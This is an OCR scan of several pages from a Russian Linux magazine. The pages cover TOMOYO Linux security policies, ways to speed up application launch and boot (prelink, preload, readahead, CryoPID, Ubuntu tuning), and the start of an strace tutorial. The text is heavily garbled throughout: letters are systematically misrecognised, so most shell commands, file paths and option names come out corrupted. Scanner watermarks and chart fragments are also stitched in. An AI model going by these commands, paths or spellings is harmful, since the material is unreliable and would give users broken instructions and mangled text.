нией \1] 0А-[А [0пР0пАт1 0ш ка к легкая реализация йА[ для [!пшх_
ядра. !1ерез два года лицензию изменили на 0\ [.,| 0 Р!_ и вь]] !0хил и код
на 5|.пе|. |екоторое время проект предоставлял патчи и готовь;е сборки
ядердля разнь:хдистрибутивов. Ёо наниная с версии ядра 2.6.30' код
т0м0у0 |]пшх включен в основную ветку разработки' что ухе само по
себе - [обь;тие для любого подобного проекта.
3 настоящее время существуетдве версии [0й010 !*!пшх. ['1ервая вер_
сия использует оригинальнь!е хуки, она доступна только в виде патней
[]-]аблонь; политик ]0й010 | 1пцх
и мохет использоваться в ядрах 2 -4и2.6.8торая [которая ухе в ядре)
адаптирована под [5й' но по функциональнь!м возмохностям усц-
пает версии 1.х: нет поддерхки сетевь:х функций' обработки атрибутов,
Р05!| возмохностей [на сайте представлена сравнительная таблица).
8 настоящее время соответствующие пакеть! имеются в репозиториях
м н о ги х дистр и6ри вов, но фа кти нески п оддерхка зая вл е на по ка тол ько
в йап6г!уа' ( слову' в этом дистрибутиве предлагается и графинеский
интерфейс [опоуо 6!!' позволяющий запустить и настроить политики
прилохений. !оступность в репозиториях пакетов для большинства
дистри6утивов позволяет буквально в считаннь!е минуть! перевести 0[
на новую систему 6езопасности. |апример, 1.]бцп|ц ] 0.04:
$ зш6о ес}то 'аеь ь[[р:,/,/озап.о1 .зошгсе[ог9е-]р,/
[опоуо/4'1728/ . /' >> /е!с/ар[/5оцгсе5.1|3г
$ зш0о арс 9е| шр6а|е
$ 5цоо ар[ 9е| |п5са11 1!п!х сс5 сс5-гоо1 5
Ёсли ядро собирается самостоятельно' активируй параметр <ЁпаБ[е
6!{[егеп| зесог!1у гпо8е[з, и "т0м0у0 |!пох 5шррог|' в секции 5есшг!1у
ор|;о пз.
['1ри беглом взгляде 10й010 очень похох на АррАгпоп 0бе системь: кон-
тролируют пщь [ра{Бпагпе базе6)' а правила имеют сходнь;й синтаксис.
|о есть и отличия. 1ак' в -[0й010 мохно указать ловедение программь1
в зависимости оттого' как она запущена. Ёапример' о6олонка, запущен-
ная нерез 55Ё' мохет иметь больше ограничений' нем запущенная с
локальной системь!' [1редусмотрена проверка дополнительнь!х парамет
ров' с которь!ми включена программа' а такхе привилегий [|-.]!0/6|-.]0).
['1рилохения в терминологии |0й010 назь:ваются доменами [6опа!пз].
(онфицрационнь;е файль: 10й0}0 находятся в каталоге /е|с/|огпоуо'
после запуска системь! настройки имеют свое отраяение в /ргос/1огпоуо,
где их мохно редактировать на лету' [1араметрь: работь; [0й010 хранят
ся в /е(с/{огпоуо/рго[!|е.соп{ и доступньт в /ргос/1опоуо/рго[![е. й менно
здесь определяются рехимь работь:10!х/0|0 - 0!заб|е' реггп1зз!ме'
еп[огз!п9 и [еагп|п9 {обунаясь' система сама строит правила]' Ёсть и
другие файль::
. гпапа9егсоп[ [/ргос/|огпоуо/папа9ег) - программь!. которь!е моцт
из м е н ить п ол ити ку в /р гос/1огпоуо;
. ехсер{!оп ро[!су.соп{(/ргос/{огпоуо/ехсер|!оп_ро|!су) - исключения
для политикдомена;
.6опа!п_ро[!су-соп{ (/ргос/{огпоуо/6огпа!п ро|!су) - пол итики домена ;
. пеп]п{о'соп{ [/ргос/|огпоуо/гпегп !п{о] - настрой ка использования
памяти и квот'
[1осле установки па кета сс5-{оо[5 необходимо п ровести инициализацию
т0 м 0у0, в ь! пол н и в с кр и пт /цзг/|! б/ссз/1о гп оуо_! п !{_ро |!се. з Б, котор ь: й и
создаст нухнь!е конфиги' !алее потре6уется перезагрузка системь].
3атем мохно запускать редак|ор политик|
# /цБг/ ] |ь,/сс5/ео|[ро1|су /е[с/[опоуо/
Бще одна немаловахная нерта - 10й0|0 может работать параллельно
с 5Ё|]пшх и АррАггпог3
Файл фака в"д хурхал эахфд(и
1п!!!а]!2о_ао!а1п /5ь!о/по0ргоье
г!1е-ра{(егп /ргос/\3/а!!./с!.геп|
г1]е_ра((егп /р.ос7\!/а!1./ехёс
'1]е оа(!егп /огос7\3/!!!г/'зсге.!е
'!]е-ра[!егп /р.ос7\!/а!! г/кеусгеа!е
г1]е-ра(|егп / р( ос / \' / а|| | / р|.у
г']е-ра[!ег. /ргос7\$/.!!г/5осисгед!е
г!1е оа1(егп /огос/\'/а0ху
'1]е_ра(!егп /ргос7\3/с]е!г-ге'5
'11е-ра!!егп /р.ос/\3/спо1!пе
|1]е-ф!(..п /ргос,\5/с0гё6цпр-'!1!ег
г!1е_ра!!егп /р'ос7\5/еп!1.оп
г11е_ра[!₠гп /ргос/\$/га1пго/\3
с!1е-р.(!егп /р.ос7\$/!о
г!1е_ра1(егп /р.ос7\$/1!!епсу
'1]е о6!!егп /о.ос7\./1!п!|з
'!]е|!!е ра|те.п /ргос/\5
г!1е_ра!!его /ргос/\3/по0п(!лго
'11е_ра([егп /ргос7\3/пе!/'' 1пег6
г!]ё-р.!!егп /р.ос7\6/пе(/1!пр
'!]₠-ра!!егп /р.ос7\|/пе(/!0п06
щ
г1]е !!|!е.п /о.ос7\3/по!п15|о1.
'1]е-ра![егп /ргос/\!/пе!/!лус.5!6
г!1е ра!!е.п /о(ос/\$/пе\/а.о
г1|е-ра!|е.п /р.ос/\$/пе!/аеу
г1]е_ра!{егп /р'ос7\$/п₠[/{ёу пс.51
г]1е-ра|(егп /р.ос7\'/пе!/6еу 5лпо6/е(ьо
.1]е_ра|!егп /р.ос7\$/.о!л!5
111е_ра((егп /р.ос7\6/пе!/оеу_сппр6/1о
\5/1о!
> о92
хАк₠Р 08 /1з9/ 10
BemeP34 for Journal-plaza.net
"-#ЁЁв'
]птгбг.]
] г!!,]).]1!]з.61111]1?оьп!пв9па![.соп
п14нгв14н
с реакт14внь|м
ранцем
}скоряем 3апуск прил0жений в [!пшх
!_!пшх становится все тяже лее итяхелее. [егодня ухе никого не \Аивишь
прилохениями, время запуска которь!х составляет несколько м инут'
окрухен иями рабонег0 ст0ла' занимающими 500 йб операти вки,и
нерастороп ной за грузкой 0с, на пом и на ющей поход хен щи н ь! по
магазинам. Ёсть ли способь: все это опти мизировать, существ ует ли
лекарство от охирения г1ингвинов, где взять нохик, чтобь! отрезать все
лишнее? [1 о п робуем разоб раться.
8 стародавние времена прилохения бь:ли
прость] и использовали в своей работе всего
несколько динамически загрухаемь!х систем-
нь:х библиотек' |о бь;ло время господства фор
мата исполняемь:х файлов а'ош|, особенность
ко]орь х']а' лючаласо в поедепьной | росто]е.
Файльт а.ош{ всегда точно знали' по какому ад-
ресуони будутзагрухень] в памятьпроцесса' и
по каким адресам 6удут располагаться их внут_
3а все время существования толсть:х пинг-
винов {период. отсчитьгваемь;й примерно
с момента появления 01(+ 2.!. ! Ёгее 4.[ и
!-!пшх 2.6) бь:ло придумано немало способов
ускорения запуска приложений и всей 0ё.
1-'1е которь:е из н их ухе да в но усп еш но п ри м е
няются в популярнь]х дистрибутивах' другие
до сих пор значатся экспериментальнь ми. 8
этой статье мь! посмотрим на них повнима
> о94
тельнее и определим' насколько оправдан-
нь:м мохет бь:ть их применение.
пРЁдвАРитЁльн0Ё
связь! вАниЁ или РпЁ |_! ш к
['1ре связь;вание есть ни что иное, как модифи-
кация запускаемого файла с целью включить
в него результать1 динамического связь!вания
библиотек. |]то это значит?
хАкЁР 08 /1з9/ ]0
BemeP34 for Journal-plaza.net
ц
Реас]а 1:еас] в граф г.: ;<с-' 5оо[с[:а г т
ренние функции' константь и т.д. 3та особенность' с одной
сторонь1, давала им преимущество в скорости загрузки, а с
другой ._ создавала проблемь: сосуществования 6иблио-
тек в памяти [нто' есл и две библ иотеки будут за грухень в
п а мять по одн ому адресу?). ['1 робл е м ь; надо б ь:л о ре шать'
поэтому появился формат [[Ё {его создатели на самом деле
бьтли поклонниками книг1олкиена,]], которь:й снимал с
и с п ол няем ь: х фа йл ов ответстве н н ость за вь бор адреса
своего размещения в вирцальной памяти и перекладь!вал
ее на динамический линковщик. 0тнь не адреса загрузки
прилохений' библиотек и всех их символов [переменнь:х'
констант, функций т.д.) вь!числялисьдинамически на этапе
за груз ки.
Ё|Ё позволил |]\!{/|!пшх сдела]оогромнь'й ша: впереди
стать системой' способной загрухать и исполнять огром-
ное количество прилохений, слинкованнь!х стаким хе
количеством библиотек' без всяких проблем' 0днако стонки
зрения производительности это бь:л провал. [1роцедура
динамического связь!вания очень 6ь:стра, и при запуске
прилохений' зависящих всего от нескольких 6иблиотек'
она не вносит в процесс заметнь!х задерхек' но если это
запуск громоздкого прилохения с зависимостями порядка
50 библиотек, то задерхка мохет бь:ть весьма существенной
(вплоть до нескольких десятков секунд].
1ак назь;ваемое пре связь!вание наделяет Ё[[-файль; наи
6олее вь;годной нертой формата а.ош{' 3апускаемь:е файль
модифицируются таким образом' нтобь: ухе включать в себя
результатдинамического связь!вания и' соответственно'
заранее знать со6ственнь:е адреса в памяти процесса и не
тратить на их вь!числение время в течение запуска.
|'1 роцедура пре-связь] вания бь:ла п редлохена сотрудником
Ре6 []а{ _]а[шБ..]е[]пе}< еще в20|4году и оказалась очень
удачнь!м методом повь!шения скорости запуска прилохе-
ний. [огласнотестам, она мохетдать прирост' равнь:й 50о/'
от первоначальной скорости запуска' а в особо тяхель;х
слунаях [0реп0{{1се' (0Б' 6попе) - и того больше. ['1ри этом
для ускорения системь! достаточно запустить всего одну
команду и немного подохдать-
.!а' задействовать механизм пре-связь1вания действитель-
но просто. !,ля этого ухе упомянуть:й вь:ше _)а[<шб..]е[]пе}<'
написал программу под названием рге[!п[. 0на досцпна
практически в любом |!пшх-дистрибутиве, поэтому со6ирать
из исходников ничего не придется. [1росто установи пакеть:
рге [1 п [<' и сп ол ьзуя п а кетн ь; й м ен едхер дистр и6ут ива' и
вь!полн и следующую команду:
# рге1]пк _апР
х^к₠Р 08 /1з9/ 10
!00!!₠5: | поз1 | п.1ьоо1 ] 6ёр | 1|з! ]
по51 - !аа а11,гап.ь!.те.' аср1' .11е5у5!еп, ап0 ьагааг!уе аг1!₠г5.
а.Р - тгу апа 9!е55 нь1сь поац1е5 1о 1оа,'
п.1ьоо1 _ ^аа {|₠ ьа5₠ поа01₠!, п₠1чо.! поа01е5' ьц{ з!!р ь1оск аеу!.е5'
* 11.1 _ 0п1у !пс!!0ё поац1₠5 тгоп 1ь₠ 'аоа111опа1 поа!!е5 |!з1
!в05увох: [у п]
, 05е ь!зуьох !1 ача!1аь1е.
} \^/агп!п9
3 установке рге[!п[
для [..)бшп1ш нет
не обходи м ости.
3тот дистрибутив
использует
альтернативнь й
метод, назь:ваемь:й
0т с[\|..]-нА5н
и реализованнь:й
на уровне корневой
6иблиотеки [9[!Бс].
} !п{о
. [вой вариант
рге[!п[ есть
и в йас 05 |' 1ам
он носит имя
"ргеб!п6!п9".
. Реализация рге[оа6
для \{!п6ошз носит
имя.Рге{е[сБег"
[позднее "5шрег-
Бе1сБ>] и доступна'
начиная с \А/!п6ошз |Р
.8место
классической
системьт |п]1'
дистрибутив 0бшп|ш
использует систему
па ралл ел ьн о й
загрузки сервисов
шр51аг[, которая
мохет сократить
среднее время
инициализации
системь! до 1 5-20
се кунд'
'сгуор а.цег[1о5.0е -
домашняя страница
[гуоР10.
. реор|е ге6Ба1.соп/
1а[ш5/рге[:п[.р0{ -
описание Рге[!п[ от
авторов'
. мп0ф ог9/рге[оа6
щ|! - описание Рге-
[оа6 от авторов.
о шшш с[:ес[ро1л|:ц9'
ог9 - список ['10 для
заморозки процессов
. а|т{ср.5ошгсе
[ог9е.пе|
распределенная
система заморозки
п ро це ссо в.
[) г: д а .: т т': 0'] е п ; < о н ф п.': г у |_: а г ; :'; ю )' т ; ; -'т г': т.ч
.;1.::;.;1': п [т';:,:'':1э
Аргументь: командной строки в этом случае значат следую-
щее:
. ? _ вэ]вод'тть бо-пьце инфор:цац'1!: ча экран;
.о _ 00Ф!Бс_Ф|Ё/т5 про-связь]вон]]ю в-ё бт'н-рн;.е
Фа'-:,!ь];
.п сотранить в'{ртуальщ/ю память (нутно, если
6утб;,-тсоте'< очень много ) ;
. Р _ рандо!{!1зировать порядок следован1{я участ-
{ов па:'1я:]] (повь!шает уровень защ1{ть] от атак на
ср;]в с:е::а )
[1осле окончания вь!полнения прилохения мохно начинать
радоваться ускорению. 0днако стоит помнить о нескольких
ограничениях:
1. Рге[!п[ не способен увеличить скорость загрузки бинар
ников' скомпилированнь;х без опции ' [Р!['. ( сохалению'
таких 6иблиотекд0статочно много, обь нно сборщики паке-
тов нарочно отклюнают этот флагдля увеличения произво_
дительности прилохен ия ;
2. Рге[!п}< не умеет обрабать:вать би6лиотеки проекта тм!пе'
поэтому об ускорении !!!п6ошз софта придется забь:ть;
з. 1е\оторь!е статические библиотег/ мот| перес']а ! ь
запускаться после обработки рге[1п[;
/+. ['1осле установки новь!х п рилохен ий или библиотек опе-
рацию прелинкинга рекомендуется повторить.
,[,ля удаления рге[1п[ делаем так:
# рге 11 п}< аш
!алее мохнотереть пакет из системь!'
пРБдвАРитЁльнАя
3АгРузкА или РпБ|_0А0
!,орошим дополнением к рге[!п[ станетдемон рге[оа6'
реализующий механизм предварительной загрузки 6и6лио-
тек для часто используемь!х п риложений. Работая в фоне'
рге[оа6 а нализи рует действия пользователя и составляет
список наиболее часто используемь:х прилохений' Б
дальнейшем эта информация применяется для заблаговре
менной загрузки прилохений и необходимь:х им библиотек
в памя'ь' бпагодаря нему холоднь;й запуск про! раммь!
занимает намного меньше времени.
!емон рге[оа0 мохет существенно повь!сить скорость за-
грузки прилохений, но произойдет это только в том случае'
если система оснащена достаточно 6ольшим объемом
памяти. !ва гига6айта - это минимум, при котором рге[оа6
) 095
BemeP34 for Journal-plaza.net
даствь!игрь!ш' при меньших о6ъемах он только помешает. пакет
рге[оа0 можно найти в составе любого современного дистрибутива,
поэтому для его установки достаточно использовать стандартн ь! й
менедхер пакетов:
$ во6о ар[_9ес ]п5!а11 рге1оаа
.{алее сл едует отреда кти ровать кон фи цра ци он н ь: й фа йл /е|с/рге |оа0.
со п[. .!е м он в пол не сносно работает и п ри ста нда ртн ь!х на строй ках'
одна ко кахдь:й из нас индивидуален и использует систему по-своему'
поэтоми вероятно, ть! захочешь подогнать рге[оа0 под се6я' [1еренислю
основнь!е опции в секции по6е[:
. сус[е ._ частота об ра ще н и й к си стеме для сб ора статистики.3 на ч ен ие
по умолчанию - 20 секунд. 8 большинстве случаев изменять его не
имеет смь!сла' однако если ть! чувствуешь' нто рге[оа0 вредит произво-
дительности системь!, увеличь значение.
. |а[1[!{е - задает интервал. по истечению которого рге[оа6 будет
забь;вать накопленную статистику на 50о/о. 3нанение по умолчанию -
] 68 часов [неделя]. Рекомендуется уменьшить значение тем, кто часто
мен я ет софт' и увел и ч ить те м, кто м 0хет меся ц ами| годами пол ьзо ваться
одним и тем хе набором прилохений.
. п!п5!2е - минимальнь:й размер объекта (программь;, 6и6лиоте-
ки)' обрабать:ваемого рге[оа6. 3начение по умолчанию - 2 000 000
6айт [около 2 йб), поэтому рге[оа6 не будет вь:полнять предвари-
тельную загрузку файлов меньшего размера. Ёет осо6ой нухдь:
менять это значение' однако если тебе кахется' нто памяти будет
достаточно и для кэширования более мелких прилохений - умень-
ши значение.
. гпеп{о{а[, пегп{гее, пепсасБе6 - э1и-[ри опции взаимосвязань! и
указь]вают на потребляемь;й рге[оа6 объем памяти. !ля расчетов ис-
пользуется следующая формула, [о6щее количество памяти х гпеп(о1а[! +
[па мять, досцпная при старте х гт]еп{гее} + {кэш х пепсас[е6]'
[екция зуэ1еп такхе содерхиттри интереснь!хдля нас опции:
. паррге{!х - сл исок катал о гов ' фа йл ь: котор ь:х долхн ь; бь:ть п редва ри_
тельно загрухень! [имей в виду, что это не только 6инарники и би6лио-ге-
ки' но и другие1ипь: файлов).
. ехерге'!х - список каталогов с бинарнь;ми файлами'
. 5оЁ5[га1е9у - способ олти мизаци и операций ввода -вь;вода. 3нанен ие по
умолнанию - 3 {оптимизация для хестких дисков). фя твердотельнь!х диск0в
луч ше всего подойдетзнанен ие 1 , для сетевь:х файловь:х систем - 2.
|а этом все' мохешь перезагрузить рге[оа6:
$ 5шоо /есс/'п|с.с/рге1оас те1оао
(ак и любой другой демон' рге[оа0 ведетлоги' которь!е ть! смохешь
найти в файле /ма[/[о9/рге[оа6.|о9. йнформация о текущем состоя н ии
рге[оа0 и его кэше досцпна в файле /уаг/|!б/рге[оа6/рге|оа6.з|а1е'
пРБдвАРитЁльн0Ё
чтвниБ или пЁА0АнЁА0
[-.]бцп{ш' а такхе некоторь!е другие современнь]е дистри6ривь: |!пшх'
используют систему геа0апеа0 во время инициализации системь:. (ак и
дем о н рге[оа0 ' геа0а [теа 0 за ра н ее за грухает необходи м ь:е ком поне нть!
лрилохений в оперативную память с целью ускорить их запуск. Разница
заключается лишь в том, что геа0аьеа6 настинно работает внггри ядра
|!пшх и олтимизирован специально для ускорения процесса инициали-
зации системь!.
! истема использует гилиц /зб!п/геа0а Беа 6 - [!з|' котора я н итает фа йл ь:
/е{с/геа6аБеа6/боо{ и /е1с/геа6аБеа0/6ез[{ор и загрухает перечислен-
нь;е в них файль! во время инициализации системь!. 3та простая и эф_
фе кти вная схе ма, которая ' одна ко' и меет и оче в идн ь! е недостатки ' .[,ело
в том' что любая стандартная установка [.)бцп1ц со временем претерпе-
вает изменения в количестве установленнь!х и загрухаемь!х во время
старта 0₠ сервисов. 6писки файлов в этом случае становятся неакцаль-
нь:ми и требуют обновления. ['1араметр ядра рго{![е позволяет перестро_
ить списки п редва рител ьн о за груха ем ь;х фа йлов. .[л я его в кл юч ен ия
) 096
06кор!ооп
оо.о\^+|!ег
; г!в{ох
₠
о
о
< ₠ю!и!ф
оео|{
оюпе тегп|па!
₠о!6 $1аг{ \,5. Рге!оао !-ацпс[ 1'|пез
-
!ц
п
!!
г
!
! со|о5|а1
!Ргёоаае6
5 10 15 2о
тпе (!п 5есопс5)
з0
Рге[оа 6
перезагрузи систему, во время загрузки нахми .Бзс, для входа в меню
загрузчика, далее нахми .е' и добавь в конец списка параметров ядра
слово рго[![е. !ахми .б' для загрузки' Анициализациясистемь! в рехи-
ме профилирования займет время, поэтому 6удь готов потерпеть'
зАм 0Р0зкА п РоцЁс с^илиспу0 Р| 0
йногда лунший спосо6 ускорить запуск прилохения - лросто не оста-
навливать его..!ля многих юниксоидов работающие слками напролет
6раузер, почтовь;й и1аббег-клиенть: - обь:нное дело. }акие прилохения
просто нет смь!сла за вершать, они моцт понадобиться в любую минщу'
1а к п оне му бь: н е разв ить эц иде ю дал ьше и не сделать та к, что6ь: вместо
остановки процессов их состояние мохно бь;ло бьг заморозить, а позхе
- восстановить, избавив п рограмму от необходимости кахдь:й раз
производить слохную и трудоемкую инициализацию внутреннего состо-
яния? Ёе мь; первь!е, не мь! последние. 6гуоР!0 - простое прилохение
для заморозки процессов и последующего их восстановления. [!рога не
требует п ра в гоо\ или модифика ци и ядра ' ра6отает на а рхите кцрах х86
иап664и' что самое главное' не привязь!ваетзаморохеннь:й процесс к
конкретной машине. ['1осле заморозки процесс превращается во что-т0
вроде самораспаковь!вающегося архива' ть! легко мохешь перенести
его на друцю машину и просто запустить' [1акет [гуоР!0 естьдалеко не в
кахдом дистр ибути ве, п оэто му его п ридется уста новить са мостоятел ьно:
$ сс /спр
$ ш9ес ьс[р: /,/ёа9оба}:.шсс.азп.ап/шас}<у/сгуор!ё 0. 5.9. 1_
]зв6.|аг.92
$ |аг _х:| сгуор|6_0. 5. 9. 1_|386.[аг.9:
$ с0 стуор|ё_0 .5.9.7/в(с
5 па]<е
$ пкс'г .'/ь!п
$ ср !гееае -/б1п
['] осл е этого мохно за пустить п рогра м му следующи м образом:
$ - / Б\п / [т еезе им- файла р!ё_поцесса
( сохалению' 8гуоР|0 имеет несколько проблем, включая неполную
поддерхку сокетов и |-прилохений' а такхе генерирует мусор в списке
процессов вместо имени восстановленной программь:.
шустРАя зАгРузкА ш вш штш
0бшп|ш 6ь:стра, на самом деле бь:стра' 6корость загрузки этого д истрибу-
тива оставляетдалеко позади многие другие линуксь! и заставляет зави-
довать поклонников 850-систем' 0днако нетпределов совершенству' и
в этом разделе мь: попро6уем ускорить ускоренное.
хАкЁР 08 /1з9/ |0
BemeP34 for Journal-plaza.net
5е]ес! !|е зегу!сез !}:аЁ уош ш!з}: 1о ас!]уа[е:
в
в
пп
ш
0
&
о
Ф
Ф повтег ]папа9е]пепЁ (аР''Ф
[ь|а!| а9еп| (розё6х|
9е!!уев уошг ош[9о!щ па!|
]п{а |! !еЁс]:е т (]е! с|т сп а 1|
9ошп!оа6з уошг па!! [гогп гегпо[е
йшЁ!сазЁ 9]!5 зегу|се
Ротуег ]папа9е]пе п1 |а ср1Ф
Рг!пЁег зегтл|се (сиРз)
А!1ошз арр!!са!!опз !о шзе рЁп[ев
в:
г---.:----__-----_]
| [е1ш.р |
0кно управления сервисами в [_.]бшп{ш
]. 0тключи таймар в 9гшБ. [1о умоляанию загрузни к хдет 3 секундь:,
чтобь; пользователь смог изменить параметрь! загрузки. 0ткрой файл
/Боо1/9гшБ/гпепш.[з{, найди строку <!!пеош{=3> и замени 3 на 0.
2.0тклюни зр[азБ' (.)бшп!ш эр[аз[-5сгееп' показь:ваемь:й во время
за грузки систем ь:, малои нформати вен и требует время на свою за грузку.
[1оэтому открь:ваем всетотхе/Боо{/9гшБ/гпепш.[з1 и убираем опции
"чо!е1" и "зр[азБ" из параметров загрузки ядра.
3'0тключи !Ру6. Раньше поддерхка пока ненухного протокола !Ру6
в |!пцх бь:ла реализована в виде загрухаемого модуля, поэтомудля
ее откл юч е н ия требо валось л и ш ь сле гка отреда кти ровать файл /е1с/
гпо0ргобе.6/а[!аэез. [егодня !Рм6 вшит прямо в ядро, поэтомудля его
отключения ядрудолхен бь:ть передан параметр <!рм6.6!заб[е='1 ". 6де-
лать это м охн о, отреда кти рова в фа йл /боо1/9 гш Б/пеп ш. [з|.
4.0тключи проверку на вь!ход из спящего рехима. 8о время своей
загрузки ядро вь!полняет проверку' вь!ходитли комп из спящего ре)кима
[зшзреп6} или вь:полняет обь:кновенную загрузку 3анимает эта про-
цедура все го одну секунду одна ко ее тохе м охн о сэ ко но м ить, доба ви в
опцию <поге5цпе> к параметрам загрузки ядра. Ёстественно, владель-
цам норбуков этого делать не стоит.
5.0птимизируй !п!1гап{з' 06раз РАй-диска используется для хране-
ния н изкоуровневь!х компонентов 0[' которь:е долхнь: бь:ть досцпнь:
еще до монтирования корневой файловой системь!. ['1о умолнанию этот
о6раз соде рхит всевозмохн ь! е ко м п оненть!, подобра н н ь: е на все случа и
хизни. Без них образ грузится в память 6ь:стрее, нто спосо6ствует
сокращению общего времени загрузки системь!. 0ткрь:ваем файл
/е{с/!п!{гап[з-!оо[з/|п!{гап{з.соп{, находи м строку < й 000| [5=по51> и
заменяем ее на <<й000!_Ё5=6ер>'.[алее пересобираем вседосцпнь:е
о6разь; тол ько с нео6ходи м ь: м и ко м пон ента м и:
$ 5!ао шрсасе_|п![тап!в _}< а11 -ц
[1осле обновления ядра образьп будл сгенерировань! автоматически.
6.0тключи ненухнь!е сервись:. [')о умолнанию в [.]Бцп1ц активирован0
мнохество фоновь!х сервисов на все случаи хизни. 8рядли тебе нухнь:
они все' поэтому идем отключать. 0ткрь:ваем 5уз{еп ) А6п!п!з|га!|оп
) 5егу!сез и видим список сервисов. 8ь:бор кандидатов на отключение
зависит от конкр етной сицации, но в большинстве слуяаев без6олез-
ненно мохно похертвовать следующим :
. в1!есоось мапа9ет _ менедхер устройств в1цесоось
. сьеси {ог пеш ьагошаге аг'уег3 _ щ)оверка новых версий
проприетарных драйверов
х^квР 08 /1 з9, 1 0
в
1!.6 |о. ор.пфс!.Ф9
в.пф 'оп п.пот.а..
ф.ьо 'о. .пэеЁёс оь|ес|3 . '
123 о мв
2о'о о мв
н
!!
в
н.!р вас|
0птимизиоуем 0аботу 0оеп0[{!се.ого
. вуо1цс{оп А1атп \о!|!!ет - сигналиэатор прихода почть|
в Ёуо1ш[ |оп
. Рт1п! оце!е Арр1ев _ апплет очереди лечати
о 1тас}<ег _ сщлжба поиска и индексирования
7.0тключи автостарт ненухнь!х прилохений' 8о время входа в
систему происходит автоза пуск большого количества разл ич_
нь|х прилохений [в основном это апплеть:]' !е все они нухнь;,
поэтому открой 5уз1егп ) Рге[егепсез ) Арр[!са{!оп5 5{аг{0р
иудали все' что считаешь ненухнь!м [например' апплет
б|ше{оо1[]. 3апуск оставшихся прилохений мохно немног0
оптимизировать с помощью следующего трюка: отредактируй
строку запуска кахдого из них так, чтобь; она приняла пример-
но такой вид:
3ь -с '51еер 10; ехес ь]це[оо!п_арр1е!"
э| -.с ''в1еер 20; ехес /шзг/1|б/еуо1|с!ог1/2.28/
еуо1ц! !оп_а1агп-пос 1{у "
!ля кахдого следующего прилохения число долхно увеличиваться на
1 0' [а к ть: сделаешь загрузку 0Ё более равномерной.
уск0Ря вм зАпуск тяжЁл0вБс0в
йногиетяхеловеснь!е прилохения, используемь!е нами повседневно'
слишком медлительнь! и неповоротливь:. Ёередко на ихзапускуходит
больше ми нщь;, что довольно сильно раздрахает и мешает сконцентри-
роваться на ра6оте. ['1опробуем это исправить.
.0реп0{{!се.ог9. 3тот офиснь:й пакет рекордсмен по потреблению
ресурсов и неповоротливости, поэтому его оптимизации необходимо
уделить особое внимание. 0ткрь:ваем ]оо[з ) 0р1!оп5, переходим
к подразделу <йегпогу>>. !станавливаем значение "\цгпбег о{
5!ер5> равнь!м 20, это уменьшит размер истории отмень|. 8 секции
"0гарБ!сз сасБе> устанавливаем значение <[.)эе {ог 0реп0[1!се.
ог9> в ! 28' "['.4егпогу рег об1ес{" - в 20. 8 подсекции "3ама> убираем
галочку с опции ,.[.)зе а -)ауа гцп1!гпе епу!гоппеп{>' 0птимизация
позволяет поднять скорость запуска и время реакции.
. г1ге[ох. 0гнелис - вторая по уровню прохорливости и тормознлости
программа. Ёаниненная достаточно большим количеством плагинов'
она превращается из огненной лись! в заморохенную черепаху' но есть
два пли ускорить ее запуск. [1ервьпй - удалить все ненухнь!е и редко
используемь!е плагиньг. 3то поднимет и скорость запуска, и произво-
дительн ость. 8то рой - опти м из и ровать базу зч [|[е' и с пол ьзуемую для
хранения даннь:х профиля:
$ г|по -/.поа{11а,/|]ге|ох/ -папе *.зч1|[е \
_ехес вч1|!е3 {} уАст.}(-,м \;
!елать это необходимо ретлярно [например' раз в неделю)' так как
базь; постоянно растут и захламляются.=
> о97
BemeP34 for Journal-plaza.net
]тт!тгбг|
;! [ | :1).
Бэ
;--
трасс14р0вк14
Решение пр06лем с прил0жениями при п0м0щи
утилить|
[-1редставь ситуа!-{|/!Ф:ть[ поста вил новую классную прогу,а она не
запускается илибезбохноторм озит.Али сетевой сервис падает при
н е п о н ятн ь; х о бстоятел ьства х. !о сад н о ! [ итуа ция у су гу6 ляется те м, что
ни в консольном вь!воде,ни в логах ничего интересного нет. | о и в этом
случае мохно предпринять ряддействий,которь!е' если и не помогут
устранить проблему в запуске, то хотя бь: позволятсоставить прав ильнь:й
баг-репорт.
.'. ! ! :',: ] ! ! шц' 1 ;,,;4_;
[1ервь:й помощник в таком случае _ это
з|гасе. !ля тех, кто вдруг не ч!]тал статью в
н 0 о,;00о:од !аец" [],о оч и Р ].
пильнг;ком"], напомню' нто работа з{гасе
закл1очается в псрохвате и записи систем
> о98
нь х вь]зовов вь]полнен||ь1х процессом' а
такхе полу(]енЁ]ь1х им си|'налов' 5|гасе мохет
помочь в следующих ситуациях]
. если прил0хение от]<азь]вается раб0тать
из за проблом с правами:
. если прилохе1!ие не запускается и3-за
отсутствия :<акого-нибудь нухного файла ;
. в некот0рь х случаях с помощью 5!гасе
бь;стрее' чем с помо111ью 1срс1огпр' мохно
обнарухи;ть проблепть с сетевь м|] прогами
. при про6лемах с физинескг:пт или псев
доустройством (ти па /с]еу/гап6о гг: или | ёеу |
хАквР 08 /]з9/ ]0
BemeP34 for Journal-plaza.net
[окрашенная статистика э{гасе для Б|ге{ох
аш6!1] з1гасе покахет последний незавершеннь:й вь:зов;
. если надо отследить все файль:, к которь!м обращается
прилохение в процессе работь:. 3то мохет бь:ть полез-
нь!м, например' для составления профиля АррАгпог
или переноса прилохения в среду сБгоо{. 8 простейшем
случае вь!зов 51гасе вь!глядит следующи м о6разом :
$ з|гасе цпа:пе
ехесуе("/ь|п/цпапе'', |"0папе''], [/* 36 уагз
*/1) = 0
ьгк(0) - 0х1е62000
ассе55 (" /е[с/1а.зо.поьшсар'', г_ок) = -1
вшовшт (\о зшс| !!1е ог о]гес[огу)
шар (шо!!, 8192, Рпот_ввАо Рпот-шР1тв,
мАР_РР1уАтп !мАР_Ашошумо|-15, 1, 0 ) =
0х7!Б79{03а000
ассе55 {'' /е[с/\а.5о.рте1оаа'' , Р_ок) = '1
вшовшт {1'1о зцс}: !|1е ог о|гес[огу)
ореп ( '' ,/ е|с,/ 1а . 5о - сасье '' , Ф_Р.|Ф1'1|т ) = ]
'5|а[ (з, {Бс_поае=3-тгпвс! 0644, 5|_
з|:е=133660, ...}) = 0
**+ ||о];ь1!'ка |1о1]уч]]!'ь дос']'у[ к бо)1ьшо|:у к0']]]-
ч_-ству файпов, в основно[1 из катацога /!5г/
1] Б / 1оса 1е '1г:т_Р11. гт!: !8
цпапе ( {5у5="!!пшх", по6е="ааер|'-1ар[ор",
...)) = 0
[1о умолнанию весь вь!вод 5[гасе отправляет в 5|0егг' что
далеко не всегда удобно. [1опросить з1гасе писать вь!вод
в файл мохно с помощью опции'-о':
$ 3[гасе -о цпапе.5[гасе цпапе
[1ервь:й системнь:й вь!зов - ехесуе: запуск файла на вь:-
полнение. 3 скобках передается команда с аргументами
|если они есть) и количество переменнь1х окрухения' пе-
